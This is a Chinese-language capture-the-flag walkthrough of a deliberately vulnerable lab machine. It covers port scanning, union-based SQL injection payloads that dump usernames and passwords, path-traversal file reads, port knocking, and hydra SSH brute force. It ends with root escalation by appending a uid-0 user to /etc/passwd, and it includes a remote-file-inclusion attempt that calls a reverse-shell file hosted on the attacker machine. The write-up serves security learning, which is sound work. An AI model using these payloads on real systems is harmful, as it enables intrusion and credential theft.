nmap扫描----利用sql注入获得网站和系统的用户名密码----利用任意文件读取获得knock序列----hydra爆破系统用户和密码----/etc/passwd写入新用户提权
环境信息:靶机:192.168.101.64
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.64
扫描到22(ssh)和80(http)端口,但是22端口是filtered状态,应该不能直接连接
探索80端口,发现http://192.168.101.64/search.php可以进行查询操作。
简单进行功能探索之后输入
' or 1=1#
发现返回了所有员工信息,说明存在sql注入。
本来想用order by猜列数,但是发现无论order by多少,查询结果都是0 results(即便查询中包含正确的职员名字,比如Moe' order by 1#),无法用这种方法看出查询结果有几列。
只能一个一个试了 ,先观察上面的返回结果,可以推测查询结果可能至少包含5列。输入
Moe' union select 1,2,3,4,5#
返回结果如下图,可见查询结果并非5列
再试试6列
Moe' union select 1,2,3,4,5,6#
从返回结果可见,确实有6列,并且每一列都是回显的
接下来看看有哪些数据库
Moe' union select 1,2,3,4,5,group_concat(distinct table_schema) from information_schema.tables#
发现除了information_schema之外,还有两个数据库:Staff和users
下面通过union注入查询网站用户名和密码
#查询当前数据库(Staff)所有表
Moe' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()#
#查询Users表所有列名
Moe' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'#
#查询Users表Username列和Password列所有值
Moe' union select 1,2,3,4,group_concat(Username),group_concat(Password) from Users#
最终结果如下图所示,从Users表中查询到用户名admin,密码的MD5值为856f5de590ef37314e7c3bdf6f8a66dc
在MD5免费在线解密破解_MD5在线加密-SOMD5输入856f5de590ef37314e7c3bdf6f8a66dc进行查询,得到密码明文transorbital1
以用户名admin,密码transorbital1登录http://192.168.101.64/manage.php
登录成功
之前是在Staff数据库中操作的,还有个users数据库也挺可疑。接下来就从这个数据库中提取出多对用户名和密码
#查询users数据库中的所有表名
Moe' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema='users'#
#查询users数据库UserDetails表中的所有列名
Moe' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'#
#查询users数据库UserDetails表中username和password列的所有值
Moe' union select 1,2,3,4,group_concat(username),group_concat(password) from users.UserDetails#
最终查询结果如下图所示,用户名有:
marym,julied,fredf,barneyr,tomc,jerrym,wilmaf,bettyr,chandlerb,joeyt,rachelg,rossg,monicag,phoebeb,scoots,janitor,janitor2
密码有:3kfs86sfd,468sfdfsd2,4sfd87sfd1,RocksOff,TC&TheBoyz,B8m#48sd,Pebbles,BamBam01,UrAG0D!,Passw0rd,yN72#dsd,ILoveRachel,3248dsds7s,smellycats,YR3BVxxxw87,Ilovepeepee,Hawaii-Five-0
sql注入漏洞处尝试了手工和sqlmap上传shell都没有成功,应该是不能直接通过sql注入得到shel了。
注意到admin登录成功后http://192.168.101.64/welcome.php的页面上有个奇怪的提示“File does not exist”
推测可能有一个url参数,值可以为某个文件。
先手工试试url参数名是否为file,如果不是的话,再用工具fuzz。
先试试http://192.168.101.64/welcome.php?file=/etc/passwd,没有返回/etc/passwd的内容;
再试试目录遍历(有几个../不重要,只要数量大于等于当前目录到根目录的层级就行):
http://192.168.101.64/welcome.php?file=../../../../etc/passwd
页面返回了/etc/passwd的内容
这里有一个小发现,浏览器中选中/etc/passwd的内容后,右键可以单独查看这部分的网页源代码。
查询bash,发现可以bash登录的用户和步骤3中利用sql注入获取的用户名是一样的
根据上述现象,当前页面可能有文件读取或者文件包含的操作,如果是文件包含,且支持包含远程文件,则可以直接getshell。试试看有没有这么幸运:
攻击机上起http服务
python2 -m SimpleHTTPServer 8888
浏览器访问如下链接,发现攻击机上并没有接收到请求,表明这里并不支持远程文件包含
http://192.168.101.64/welcome.php?file=http://192.168.101.34:8888/php-reverse.php
想起nmap扫描端口的时候22端口是被过滤的,考虑到目前并没有办法从网站直接getshell,运气好的话,靶机上可能使用了knockd来隐藏22端口,如果使用了knockd,其配置应该在/etc/knockd.conf中。
浏览器访问http://192.168.101.64/manage.php?file=../../../../etc/knockd.conf
确实有这个文件,并得到knock序列7469 8475 9842
攻击机上执行
knock 192.168.101.64 7469 8475 9842
然后再用nmap扫描一下靶机的22端口,看看开放了没有
sudo nmap -sV -sC -p 22 192.168.101.64
靶机tcp 22端口已经open了
尝试用前几个用户进行ssh登录都失败了,失败原因看起来是密码不对
准备用hydra试试到底哪组用户名密码能登录成功,不过在此之前得先做用户名字典和密码字典。
用户名字典很方便,从/etc/passwd中取材,用echo命令结合cut命令,直接输出用户名列表到文件users.txt中
echo 'marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash 130 ⨯ julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash' | cut -f 1 -d ':' > users.txt
密码字典就麻烦点了,最终还是写了段python代码,字符串s取自步骤3中得到的password列的值,文件保存为passwd.py
s="3kfs86sfd,468sfdfsd2,4sfd87sfd1,RocksOff,TC&TheBoyz,B8m#48sd,Pebbles,BamBam01,UrAG0D!,Passw0rd,yN72#dsd,ILoveRachel,3248dsds7s,smellycats,YR3BVxxxw87,Ilovepeepee,Hawaii-Five-0"
l=s.split(',')
for i in l:
print i
执行passwd.py,并将执行结果保存到pass.txt中
然后开始用hydra爆破
hydra -L users.txt -P pass.txt ssh://192.168.101.64
爆破出三组用户名密码(爆破结果可能不稳定,可以多试几次)
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
用chandlerb和joeyt登录之后都没什么看头。
用janitor登录之后,发现家目录下有.secrets-for-putin文件夹,里面有个passwords-found-on-post-it-notes.txt文件,查看该文件内容,又发现几个新密码
cat ./.secrets-for-putin/passwords-found-on-post-it-notes.txt
将上述新密码保存在pass2.txt
再次用hydra爆破
hydra -L users.txt -P pass2.txt ssh://192.168.101.64
又得到一组新的用户名密码
login: fredf password: B4-Tru3-001
用fredf登录,sudo -l
发现该用户可以以root身份执行/opt/devstuff/dist/test/test
尝试执行一下,返回了提示
sudo /opt/devstuff/dist/test/test
根据提示查找test.py
find / -name "test.py" 2>/dev/null
查看/opt/devstuff/test.py的内容,发现它的作用是将第二个参数(文件名)的内容写入第三个参数(文件名)的结尾。既然如此,就可以在/etc/passwd中写入一个root权限的新用户,以此达到提权的目的。
在攻击机上执行如下命令,得到123的passwd格式的MD5 hash
openssl passwd -1 123
靶机上将新用户xiannv写入临时文件/tmp/pass中
echo 'xiannv:$1$q7H2s1CH$C6ObMWwsX8igsLFDPOMzF0:0:0:root:/root:/bin/bash' > /tmp/pass
sudo执行/opt/devstuff/dist/test/test,将/tmp/pass中的内容追加写入/etc/passwd的结尾
sudo /opt/devstuff/dist/test/test /tmp/pass /etc/passwd
查看/etc/passwd的内容,确认用户xiannv添加成功
通过su命令切换用户到xiannv,密码为123(xiannv不能ssh登录),发现xiannv为root用户
su xiannv
在/root/theflag.txt中发现flag